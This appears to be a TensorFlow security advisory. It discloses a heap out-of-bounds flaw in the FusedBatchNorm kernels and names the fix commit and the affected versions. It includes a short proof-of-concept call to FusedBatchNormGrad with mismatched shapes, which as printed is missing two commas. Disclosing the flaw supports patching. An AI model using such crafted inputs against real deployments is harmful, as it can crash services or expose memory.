Heap OOB in `FusedBatchNorm` kernels

Impact

The implementation of FusedBatchNorm kernels is vulnerable to a heap OOB:

import tensorflow as tf
    
tf.raw_ops.FusedBatchNormGrad(
  y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)
  x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)
  scale=[1,1],
  reserve_space_1=[1,1],
  reserve_space_2=[1,1,1],
  epsilon=1.0,
  data_format='NCHW',
  is_training=True) 

Patches

We have patched the issue in GitHub commit aab9998916c2ffbd8f0592059fad352622f89cda.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.